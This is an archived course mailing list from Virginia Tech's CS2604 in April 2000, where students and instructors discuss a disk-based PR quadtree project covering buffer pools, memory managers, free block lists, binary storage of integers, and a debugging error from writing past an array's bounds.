Wouldn't that information (node info plus the city = name) be=20 in one "message", that the memory manager sends to the buffer=20 pool?
 
Saam
----- Original Message -----
From:=20 Stephen = Hoskins=20
To: CS2604@LISTSERV.VT.EDU
Sent: Monday, April 24, 2000 = 1:40=20 AM
Subject: Re: BufferPool

The buffer pool stores everything that it is given by = the=20 memory manager -i.e., messages that store node information and = messages that=20 store city names, which the memory manager receives from the PR quad = tree.=20
-Stephen Hoskins

Andrew Kenny wrote:=20

I am having some problems with = how the=20 bufferpool should work.  Do the buffers just store the city = names or=20 do they store all the information about the record?  In other = words=20 what does a buffer look like in main=20 = memory?
--Boundary_(ID_DZ+z98kDQHHwGAX/EsjeBQ)-- ========================================================================= Date: Sun, 23 Apr 2000 23:50:47 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Sidney Bennett Subject: Re: BufferPool : Answer from Ben Keller some time ago. MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_KtCyAFlg5zBZNY4qfEbB4g)" This is a multi-part message in MIME format. --Boundary_(ID_KtCyAFlg5zBZNY4qfEbB4g) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable This was Ben Keller's response to the question I believe you are asking. = =20 >Yes, you should have the address of the city name to put into the leaf >node record before you write the leaf to disk. > >Brandon McKelvey wrote: >> >> When inserting a city name. First you put length of city (4-byte = integer) >> then the name. You send that to the memory manager it gives you a = handle >> then you create a leaf node 13 byte leaf node and insert that. Since = now >> you have the 4 byte handle. Is that correct? Just want to make sure = that is >> correct before i finish the program that way. >> >> brandon The spec says each leaf node stores 1 4-byte field to indicate it is a = leaf node, 2 4-byte fields to store x,y coordinates, 1 4-byte field to = store HANDLE to city name. This implies that actual city name will be = stored separately within buffer pool, as discussed in previous email = shown above. --Boundary_(ID_KtCyAFlg5zBZNY4qfEbB4g) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: quoted-printable
This was Ben Keller's response to the question I = believe you=20 are asking. 
 
>Yes, you should have the address of the city = name to put=20 into the leaf
>node record before you write the leaf to=20 disk.
>
>Brandon McKelvey wrote:
>>
>> = When=20 inserting a city name.  First you put length of city (4-byte=20 integer)
>> then the name.  You send that to the memory = manager it=20 gives you a handle
>> then you create a leaf node 13 byte leaf = node and=20 insert that.  Since now
>> you have the 4 byte = handle.  Is=20 that correct? Just want to make sure that is
>> correct before = i finish=20 the program that way.
>>
>> brandon

The spec = says each=20 leaf node stores 1 4-byte field to indicate it is a leaf node, 2 4-byte = fields=20 to store x,y coordinates, 1 4-byte field to store = HANDLE=20 to city name.  This implies that actual city name will be stored = separately=20 within buffer pool, as discussed in previous email shown = above.

 
--Boundary_(ID_KtCyAFlg5zBZNY4qfEbB4g)-- ========================================================================= Date: Sun, 23 Apr 2000 23:55:27 -0500 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ted Hessing Subject: Weird Error In-Reply-To: <3.0.6.32.20000423193556.00808590@mail.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Hello, In my program I create a character array with limited scope. It is deleted at the end of the method that creates it. I put several things into the character array including typcasted ints. When I use a for loop to put characters into the appropriate slots problems come up. The thing compiles fine, infact I used this code almost verbatim in P1. Anyway, I get the following error message at compile time: Debug Error //path name of my project DAMAGE": After Normal Block (#230)at some hex number here The set up looks like this: int i = 0; while (i Sender: CS2604 discussion list From: Ryan Turner Subject: NULL terminated string In-Reply-To: <4.3.1.1.20000419215509.00ad2a90@mail.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit When we store the string as a separate message, can we NULL terminate it? Ryan ========================================================================= Date: Mon, 24 Apr 2000 01:26:05 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Sidney Bennett Subject: Re: Weird Error MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Do you mean you get the error at run time? I'm assuming you're using VC++. Sounds like you're writing outside the bounds of an array. In VC++, the debug build pads an array with bytes before and after. If these padding bytes are over written, the debugger catches it when you try to delete the array and gets all pissed. Responses in release builds vary from no complaint to immediate program crash. Try stepping through points where you write to the array, making certain you always write to locations within the array. This program code produces a similar error in debug build! (I tried it in release build and it runs fine!) int main(int argc, char* argv[]) { char* string = new char[10]; string[10] = 'F'; <--- not a good idea but debugger will not catch immediatley! delete [] string; <--- here is where debugger springs into action! return 0; } ========================================================================= Date: Mon, 24 Apr 2000 01:43:15 -0500 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ted Hessing Subject: Re: Weird Error In-Reply-To: <00e901bfadad$967c01c0$0100005a@vtacs.com> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Thanks, I actually just fixed the error. I was over writing the bounds. I have been looking at the code for way to long and simple things are begining to escape me. Thanks for the help though. -Ted. -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Sidney Bennett Sent: Monday, April 24, 2000 12:26 AM To: CS2604@LISTSERV.VT.EDU Subject: Re: Weird Error Do you mean you get the error at run time? I'm assuming you're using VC++. Sounds like you're writing outside the bounds of an array. In VC++, the debug build pads an array with bytes before and after. If these padding bytes are over written, the debugger catches it when you try to delete the array and gets all pissed. Responses in release builds vary from no complaint to immediate program crash. Try stepping through points where you write to the array, making certain you always write to locations within the array. This program code produces a similar error in debug build! (I tried it in release build and it runs fine!) int main(int argc, char* argv[]) { char* string = new char[10]; string[10] = 'F'; <--- not a good idea but debugger will not catch immediatley! delete [] string; <--- here is where debugger springs into action! return 0; } ========================================================================= Date: Mon, 24 Apr 2000 10:03:34 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ben Keller Subject: Re: makeNull and deleting cities MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Any time you need to "delete" a node, all you need to do is update the memory pool so that the space can be used again, and make sure that the quadtree doesn't refer to the deleted nodes. No need to do anything to the file, unless you want to. Dave Sracic wrote: > > Two similar questions: > > 1) When we delete a city, do we write NULL's over it in the file, or > just make sure that the PRQT realizes it's gone (ie set > PRQTbranchNode.northWestNode = NULL)? > > 2) When we do a makeNull over the PRQT, do we just delete the file, or > write NULLS from start to finish and keep it the same size (potentially > quite large, for a "NULL" tree)? > > -Dave -- Ben Keller email: keller@cs.vt.edu Visiting Assistant Professor phone: 540-231-9367 Computer Science Dept (0106) web: www.cs.vt.edu/~keller Virginia Tech Blacksburg, VA 24061 USA ========================================================================= Date: Mon, 24 Apr 2000 10:18:12 -0500 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ted Hessing Subject: Re: makeNull and deleting cities In-Reply-To: <39045436.1355184C@cs.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Ben Keller wrote: Any time you need to "delete" a node, all you need to do is update the memory pool so that the space can be used again, and make sure that the quadtree doesn't refer to the deleted nodes. No need to do anything to the file, unless you want to. Well then what's the point of even having a memory manager if you don't care what we are doing to the bin file? Your answer suggests (at least to me) that the memory manager could be keeping track of the bin file (as it ought to be) but we could just write to the end of our bin file each time regardless of what has been deleted. In this case why don't we all just hand in our prqt program (since the outputs to it and p4 are identical) and get an easy grade? How are the gtas going to know the difference? ========================================================================= Date: Mon, 24 Apr 2000 11:25:43 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Can a directed graph ever be non-connected? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 23 Apr 2000, John Anthony Kazos Jr. wrote: > I.e., is it possible to have a graph like figure 7.2, but directed? Sure. A graph is simply a collection of vertices and edges (either directed or undirected). Of course, for undirected graphs the definition of "connected" is harder to decide on. If your graph consists of vertices A and B, and a directed edge from A to B, do you want to call that connected? You can't get from B to A. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Mon, 24 Apr 2000 11:35:50 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: makeNull and deleting cities In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 24 Apr 2000, Ted Hessing wrote: > Ben Keller wrote: > Any time you need to "delete" a node, all you need to do is update the > memory pool so that the space can be used again, and make sure that the > quadtree doesn't refer to the deleted nodes. No need to do anything to > the file, unless you want to. > > > Well then what's the point of even having a memory manager if you don't care > what we are doing to the bin file? Your answer suggests (at least to me) > that the memory manager could be keeping track of the bin file (as it ought > to be) but we could just write to the end of our bin file each time > regardless of what has been deleted. In this case why don't we all just hand > in our prqt program (since the outputs to it and p4 are identical) and get > an easy grade? How are the gtas going to know the difference? You misinterpreted the answer. The space needs to be re-usable. You don't need to explicitly overwrite the data, but you do need to do the appropriate thing with the "free block" list in the memory manager. Eventually, the appropriate changes WILL be reflected in the binary file. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Mon, 24 Apr 2000 11:42:30 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Nodes in memory In-Reply-To: <008401bfac08$a517a7d0$7502cb26@Redrum> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 21 Apr 2000, David Cook wrote: > Ok, say we have a 5 buffer buffer pool. Does this mean that there > should never be more than 5 nodes in memory at a time? If we are > traversing down the tree and hit 5 internal nodes and 1 leaf node. > Should the root have been written back to disk? If so how do we keep > tally on how many nodes are resident in memory? The size (or even the existance) of the bufferpool is irrelevent to how you write your PR quadtree functions. You shouldn't be thinking about how many nodes happen to be in memory. Your PR quadtree functions get a node when needed, where ever it happens to come from. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Mon, 24 Apr 2000 11:42:52 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Ben Keller Subject: Re: makeNull and deleting cities MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The point of the memory manager is that it knows what portions of the file are not being used. So, when you delete a node, all the memory manager needs to do is record the node storage (all of it) as free. It save you from having to go to the file and do something to it because of a deleted node. BK Ted Hessing wrote: > > Ben Keller wrote: > Any time you need to "delete" a node, all you need to do is update the > memory pool so that the space can be used again, and make sure that the > quadtree doesn't refer to the deleted nodes. No need to do anything to > the file, unless you want to. > > Well then what's the point of even having a memory manager if you don't care > what we are doing to the bin file? Your answer suggests (at least to me) > that the memory manager could be keeping track of the bin file (as it ought > to be) but we could just write to the end of our bin file each time > regardless of what has been deleted. In this case why don't we all just hand > in our prqt program (since the outputs to it and p4 are identical) and get > an easy grade? How are the gtas going to know the difference? -- Ben Keller email: keller@cs.vt.edu Visiting Assistant Professor phone: 540-231-9367 Computer Science Dept (0106) web: www.cs.vt.edu/~keller Virginia Tech Blacksburg, VA 24061 USA ========================================================================= Date: Mon, 24 Apr 2000 12:01:10 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: NULL terminated string In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 23 Apr 2000, Ryan Turner wrote: > When we store the string as a separate message, can we NULL terminate it? Either way. You don't need it, since you know the message length, but you can if you wish. Note that in P1, you did *not* store the null terminator on the string. So, you should already have code for dealing with stripping/replacing the NULL terminator. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Mon, 24 Apr 2000 11:49:52 -0400 Reply-To: joowens@vt.edu Sender: CS2604 discussion list From: John Owens Subject: Re: makeNull and deleting cities In-Reply-To: <39046B7C.D157BEF8@cs.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Yes, but arent you going to have to access the disk anyway? For instance, if you delete a LeafNode that contains data, you are going to have to access the buffer pool to grab the node, which will read from disk if necessary and write the LRU if necessary, because you need to get the handle of the city, and then you have to load the city from the buffer pool, reading from disk if necessary, and writing the LRU if neccessary, because you need to find the length of the city so you know how big to make the freeblocks? So you are going to have to access the file if the information is not in memory anyway, and you are going to have to write the LRU if it is dirty anyway, so really there is no difference in time at all if you change the data that is in the buffer to null characters or not, because that data will be in the buffer anyway after obtaining the leaf node and corresponding city data, correct? John owens -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Ben Keller Sent: Monday, April 24, 2000 11:43 AM To: CS2604@LISTSERV.VT.EDU Subject: Re: makeNull and deleting cities The point of the memory manager is that it knows what portions of the file are not being used. So, when you delete a node, all the memory manager needs to do is record the node storage (all of it) as free. It save you from having to go to the file and do something to it because of a deleted node. BK Ted Hessing wrote: > > Ben Keller wrote: > Any time you need to "delete" a node, all you need to do is update the > memory pool so that the space can be used again, and make sure that the > quadtree doesn't refer to the deleted nodes. No need to do anything to > the file, unless you want to. > > Well then what's the point of even having a memory manager if you don't care > what we are doing to the bin file? Your answer suggests (at least to me) > that the memory manager could be keeping track of the bin file (as it ought > to be) but we could just write to the end of our bin file each time > regardless of what has been deleted. In this case why don't we all just hand > in our prqt program (since the outputs to it and p4 are identical) and get > an easy grade? How are the gtas going to know the difference? -- Ben Keller email: keller@cs.vt.edu Visiting Assistant Professor phone: 540-231-9367 Computer Science Dept (0106) web: www.cs.vt.edu/~keller Virginia Tech Blacksburg, VA 24061 USA ========================================================================= Date: Mon, 24 Apr 2000 12:39:30 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: makeNull and deleting cities In-Reply-To: <001d01bfae04$bb7e9300$0201a8c0@vtacs.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > Yes, but arent you going to have to access the disk anyway? For instance, if > you delete a LeafNode that contains data, > you are going to have to access the buffer pool to grab the node, which will > read from disk if necessary and write the LRU if necessary, because you need > to get the handle of the city, and then you have to load the city from the > buffer pool, reading from disk if necessary, and writing the LRU if > neccessary, because you need to find the length of the city so you know how > big to make the freeblocks? So you are going to have to access the file if Maybe there is a disk read. Maybe not. If the bufferpool does its job, and locality of reference is good, then hopefully not. That's not the issue anyway, since you would not be changing data "on disk" in any case, but only in the memory pool. The point is not to change things that don't need to be changed, so that the other parts of the program can do their jobs as best as possible. In the example, the memory manager's client DOES need to get the leaf node info, solely for the purpose of knowing the cityname's handle so that the delete-message method can be called on that message. To delete the cityname message, only the free block list actually needs to be changed, there is no need to even read that message in. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- On Mon, 24 Apr 2000, John Owens wrote: > Yes, but arent you going to have to access the disk anyway? For instance, if > you delete a LeafNode that contains data, > you are going to have to access the buffer pool to grab the node, which will > read from disk if necessary and write the LRU if necessary, because you need > to get the handle of the city, and then you have to load the city from the > buffer pool, reading from disk if necessary, and writing the LRU if > neccessary, because you need to find the length of the city so you know how > big to make the freeblocks? So you are going to have to access the file if > the information is not in memory anyway, and you are going to have to write > the LRU if it is dirty anyway, so really there is no difference in time at > all if you change the data that is in the buffer to null characters or not, > because that data will be in the buffer anyway after obtaining the leaf node > and corresponding city data, correct? > > John owens > > -----Original Message----- > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of > Ben Keller > Sent: Monday, April 24, 2000 11:43 AM > To: CS2604@LISTSERV.VT.EDU > Subject: Re: makeNull and deleting cities > > > The point of the memory manager is that it knows what portions of the > file are not being used. So, when you delete a node, all the memory > manager needs to do is record the node storage (all of it) as free. > It save you from having to go to the file and do something to it because > of a deleted node. > > BK > > Ted Hessing wrote: > > > > Ben Keller wrote: > > Any time you need to "delete" a node, all you need to do is update the > > memory pool so that the space can be used again, and make sure that the > > quadtree doesn't refer to the deleted nodes. No need to do anything to > > the file, unless you want to. > > > > Well then what's the point of even having a memory manager if you don't > care > > what we are doing to the bin file? Your answer suggests (at least to me) > > that the memory manager could be keeping track of the bin file (as it > ought > > to be) but we could just write to the end of our bin file each time > > regardless of what has been deleted. In this case why don't we all just > hand > > in our prqt program (since the outputs to it and p4 are identical) and get > > an easy grade? How are the gtas going to know the difference? > > > > > > -- > Ben Keller email: keller@cs.vt.edu > Visiting Assistant Professor phone: 540-231-9367 > Computer Science Dept (0106) web: www.cs.vt.edu/~keller > Virginia Tech > Blacksburg, VA 24061 USA > ========================================================================= Date: Mon, 24 Apr 2000 12:43:03 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: inheritance and how to effectively use it in P4 In-Reply-To: <000a01bfac72$3fc53040$92d5c026@dogbert> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 22 Apr 2000, Chris Sharp wrote: > I understand what inheritance is and how to use it and how to code it etc. > However, for this PRQT which is going to be stored primarily on the disk or > bufferPool depending on what is being accessed just like in P3, I am just > not sure how to apply it. Having said that, when coding the PRQT to use > inheritance...won't I just be building a node from the message I receive > from the memory manager...determing it's children or city name depending on > what type it is and then pretty much destroying it. Let's say I am simply > inserting a leafnode and I must go down 3 levels into the tree. I am just > going to be pulling internal nodes and finding the handles to their children > and going on to the next node. So I guess my question is how do I use > inheritance the way it is meant to be used in this project. It is an issue of who needs to be responsible for what information, and how to separate the physical implemntation for the nodes from the logical use of those nodes. When you need to get a child node, there are two phases: Get the physical message and convert that to the logical node object, then use the logical node object as though it had existed in that form all along. It is the 2nd part (using the node object) that makes use of inheritance. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Mon, 24 Apr 2000 16:10:51 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Fang Huang Subject: how to convert an integer to bytes MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Hi, I want to insert an integer to binary file, I try the following code: char temp[4]; int number=4; memcpy((void*)temp, (void*)&number, 4); bufferManager.insert(temp, size, position); But when i write the temp to file, i can't see 4 in the file, instead it is . Does anyone have any idea how to correct this? Thanks a lot! FH ========================================================================= Date: Mon, 24 Apr 2000 19:09:39 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "=(8-b)" Subject: Re: how to convert an integer to bytes In-Reply-To: <0FTJ002DVEQ37R@gkar.cc.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit when reading the binary file in the C++ editor, it converts all non acsii characters to a '.' if you highlight the '.', it should highlight the corresponding hex value in the middle column. this should be 04 in this case. -duffy -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Fang Huang Sent: Monday, April 24, 2000 4:11 PM To: CS2604@LISTSERV.VT.EDU Subject: how to convert an integer to bytes Hi, I want to insert an integer to binary file, I try the following code: char temp[4]; int number=4; memcpy((void*)temp, (void*)&number, 4); bufferManager.insert(temp, size, position); But when i write the temp to file, i can't see 4 in the file, instead it is . Does anyone have any idea how to correct this? Thanks a lot! FH ========================================================================= Date: Sat, 24 Apr 0100 22:18:27 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brian Wagner Subject: Re: how to convert an integer to bytes In-Reply-To: <0FTJ002DVEQ37R@gkar.cc.vt.edu> from "Fang Huang" at Apr 24, 0 04:10:51 pm Content-Type: text > Hi, > I want to insert an integer to binary file, I try the following code: > > char temp[4]; > int number=4; > memcpy((void*)temp, (void*)&number, 4); > bufferManager.insert(temp, size, position); > > But when i write the temp to file, i can't see 4 in the file, > instead it is > . > > Does anyone have any idea how to correct this? > Thanks a lot! > > FH Umm, I hope you're using a hex editor. See below: >To: CS2604@listserv.vt.edu >Date: Wed, 8 Mar 100 19:23:04 -0500 (EST) >In-Reply-To: <3.0.6.32.20000323233935.00916c60@mail.vt.edu> from "david" at >Mar >23, 0 11:39:35 pm >From: "Brian Wagner" >X-mailer: ELM 2.4 PL25 >Content-Type: text >Content-Length: 740 > > >I suggest anyone who has not finished their File access routines see: > http://www.gnome.org/mc/download.html > >And download this "Midnight Commander" tool advertised there > -It allows you to view the file in Hex > -and is available in Linux (`mc`), DOS, and Windows > >(USAGE DIRECTIONS: > press "F3" to "View" selected file -> "F4" to see file in "Hex") -- // *Brian Wagner, CpE My Homepage: http://www.bigfoot.com/~datatroi DILBERT COMIC STRIP: Dilbert: Bishop takes rook. I have you now, my friend. Dogbert while ruining the board: My Queen has an Uzi in her purse. She slays your entire side. Dilbert: You did the same thing when we played scrabble. Dogbert: Take it like a man. :D O- ------------------------------------------------------------------------- ========================================================================= Date: Mon, 24 Apr 2000 22:36:21 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Fang Huang Subject: memcpy problem MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Hi, It seems memcpy doesn't work for me. I have the follewing code: leafNode aleaf; char temp[14]; memcpy((void*)temp, (void*)&aleaf, 13); then i copy temp back to another leaf node, leafNode anotherleaf; memcpy((void*)&anotherleaf, (void*)temp, 13); Now anotherleaf is different from the original leaf node aleaf. So I just can't convert the original node back. Is there anything that I did wrong? Thanks for any help! FH ========================================================================= Date: Tue, 25 Apr 2000 01:01:13 -0700 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Morten Bergman Subject: size of map? MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit How big will the map size be for this project? Same as in project 2? Since the integers in the nodes are only 4 bytes long how are we supposed to store coordinates greater than 9999? Morten ========================================================================= Date: Sun, 25 Apr 0100 01:23:51 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brian Wagner Subject: MemManager DeleteNode Content-Type: text When calling MemoryManager's DeleteNode() function (to delete a node from the "memory pool"), will MemoryManager need to do anything w/ BufferPool? (The preceding are my class names, BTW.) I don't think it will have to mess around w/ the buffer pool at all... -- // *Brian Wagner, CpE My Homepage: http://www.bigfoot.com/~datatroi DILBERT COMIC STRIP: Dilbert: Bishop takes rook. I have you now, my friend. Dogbert while ruining the board: My Queen has an Uzi in her purse. She slays your entire side. Dilbert: You did the same thing when we played scrabble. Dogbert: Take it like a man. :D O- ------------------------------------------------------------------------- ========================================================================= Date: Tue, 25 Apr 2000 08:48:02 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "Bryan R. Deehring" Subject: Re: size of map? MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Integers are being stored on disk as integers, not as ASCII characters. 4 bytes is a 32-bit number. Map size is the same as in project 2. -----Original Message----- From: Morten Bergman [SMTP:obergman@VT.EDU] Sent: Tuesday, April 25, 2000 4:01 AM To: CS2604@LISTSERV.VT.EDU Subject: size of map? How big will the map size be for this project? Same as in project 2? Since the integers in the nodes are only 4 bytes long how are we supposed to store coordinates greater than 9999? Morten ========================================================================= Date: Tue, 25 Apr 2000 08:59:38 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Michael Leatherman Subject: Re: size of map? In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit i dont know about the map size, but an integer 4 bytes long can store numbers a lot bigger than 9999. -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Morten Bergman Sent: Tuesday, April 25, 2000 4:01 AM To: CS2604@LISTSERV.VT.EDU Subject: size of map? How big will the map size be for this project? Same as in project 2? Since the integers in the nodes are only 4 bytes long how are we supposed to store coordinates greater than 9999? Morten ========================================================================= Date: Tue, 25 Apr 2000 08:40:20 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Matt Stec Subject: Re: size of map? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" uhh...the same as project 2. The integers are really 32-bit binary numbers (32 bits/8 bits/byte = 4 bytes), so those four bytes can store coordinates much higher than 9999. Don't store them as decimal characters. matt At 01:01 AM 4/25/00 -0700, you wrote: >How big will the map size be for this project? Same as in project 2? >Since the integers in the nodes are only 4 bytes long how are we supposed to >store coordinates greater than 9999? > >Morten > ========================================================================= Date: Tue, 25 Apr 2000 16:43:47 -0700 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Stephen Hoskins Subject: Re: P4 Sample Memory Map MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_QJDn/VYwxCLLjQLkCECnKQ)" --Boundary_(ID_QJDn/VYwxCLLjQLkCECnKQ) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit I understand that the memory map on the course web site does not have to be identical to our own, however I still ran into a problem with it the other day. The memory map on the course web site shows that after Blacksburg is deleted the free block list updates itself. I don't believe that this will have any effect on the "current" pointer. It is my understanding that the current pointer is simply used to conduct a search through the free block list with -i.e., whenever a request is made to insert a message into the memory pool. However, when Charlotte gets added the memory map shows that it gets added at the front of the pool. But the "current" pointer should still be at location 58 and there is enough space at the end of the memory pool to add it. However, when the next request is made to insert the leaf node there will NOT be enough space to insert it at the end (since Charlotte just got added) so it then goes to the beginning of the pool where it will find enough space. And when it comes time to insert the internal node more space will have to be allocated. I guess what the memory map is suggesting is that the particular PR quad tree disk implementation that is being used for the mapping inserts the internal node before it inserts the leaf node. Well, how is that kind of request supposed to be made when you need to store the handle of the leaf node in the internal node first? This letter may seem a bit lengthy but if anyone can clear things up for me then I can make any necessary changes to my program before it's too late. Thanks! -Stephen Hoskins Cliff Shaffer wrote: > On Tue, 18 Apr 2000, John Owens wrote: > > > I have a question on the memory map. Does the output have to be identical > > to the block? In P2, when I had an inserted node run into a leaf with a > > node in it, it did this: > > 1) Check if coordinates are identical > > if not, > > 2) Create a New Parent and place the previous city in the designated spot > > 3) determine which slot of the new parent the new city would be in > > 4) direction pointer (NW,NE,SW,SE) points to recursive call of insert, which > > finds an empty leaf and inserts. > > > > Now on this algoritm, unless i am mistaken, the parent node would be created > > before the new leaf, which means it would be inserted in my memory pool > > first. Although the parent would then have to be updated after the handle > > for the new leaf is done, thus changing the buffer pool order, the memory > > block would be more like: > > First City, First Leaf (Blacksburg), Parent, Second City, Second Leaf > > (McLean) > > > > the algorithm works correctly, but I was wondering if I will get penalized > > for a different order in the memory block > > A day or two ago, I sent an email regarding the question of whether the > memory manager should add to the freelist the excess space at the end of a > new disk block or not. In that message, I alluded to the possibility that > different students might insert nodes in a different way, and therefore > the order of nodes in the memory pool might be different. Your discussion > above directly addresses the point I was (vaguely) making at the time. > > To answer your question: No, there is no requirement regarding which order > you do this particular insertion to the memory pool. > > -- > Cliff Shaffer, Associate Professor Phone: (540) 231-4354 > Department of Computer Science Email: shaffer@cs.vt.edu > Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer > ------------------------------------------------------------------------- --Boundary_(ID_QJDn/VYwxCLLjQLkCECnKQ) Content-type: text/html; charset=us-ascii Content-transfer-encoding: 7bit I understand that the memory map on the course web site does not have to be identical to our own, however I still ran into a problem with it the other day.  The memory map on the course web site shows that after Blacksburg is deleted the free block list updates itself.  I don't believe that this will have any effect on the "current" pointer.  It is my understanding that the current pointer is simply used to conduct a search through the free block list with -i.e., whenever a request is made to insert a message into the memory pool.  However, when Charlotte gets added the memory map shows that it gets added at the front of the pool.  But the "current" pointer should still be at location 58 and there is enough space at the end of the memory pool to add it.  However, when the next request is made to insert the leaf node there will NOT  be enough space to insert it at the end (since Charlotte just got added) so it then goes to the beginning of the pool where it will find enough space.  And when it comes time to insert the internal node more space will have to be allocated.  I guess what the memory map is suggesting is that the particular PR quad tree disk implementation that is being used for the mapping inserts the internal node before it inserts the leaf node.  Well, how is that kind of request supposed to be made when you need to store the handle of the leaf node in the internal node first?  This letter may seem a bit lengthy but if anyone can clear things up for me then I can make any necessary changes to my program before it's too late.  Thanks!
-Stephen Hoskins

Cliff Shaffer wrote:

On Tue, 18 Apr 2000, John Owens wrote:

> I have a question on the memory map.  Does the output have to be identical
> to the block?  In P2, when I had an inserted node run into a leaf with a
> node in it, it did this:
> 1) Check if coordinates are identical
>  if not,
> 2) Create a New Parent and place the previous city in the designated spot
> 3) determine which slot of the new parent the new city would be in
> 4) direction pointer (NW,NE,SW,SE) points to recursive call of insert, which
> finds an empty leaf and inserts.
>
> Now on this algoritm, unless i am mistaken, the parent node would be created
> before the new leaf, which means it would be inserted in my memory pool
> first.  Although the parent would then have to be updated after the handle
> for the new leaf is done, thus changing the buffer pool order, the memory
> block would be more like:
> First City, First Leaf (Blacksburg), Parent, Second City, Second Leaf
> (McLean)
>
> the algorithm works correctly, but I was wondering if I will get penalized
> for a different order in the memory block

A day or two ago, I sent an email regarding the question of whether the
memory manager should add to the freelist the excess space at the end of a
new disk block or not.  In that message, I alluded to the possibility that
different students might insert nodes in a different way, and therefore
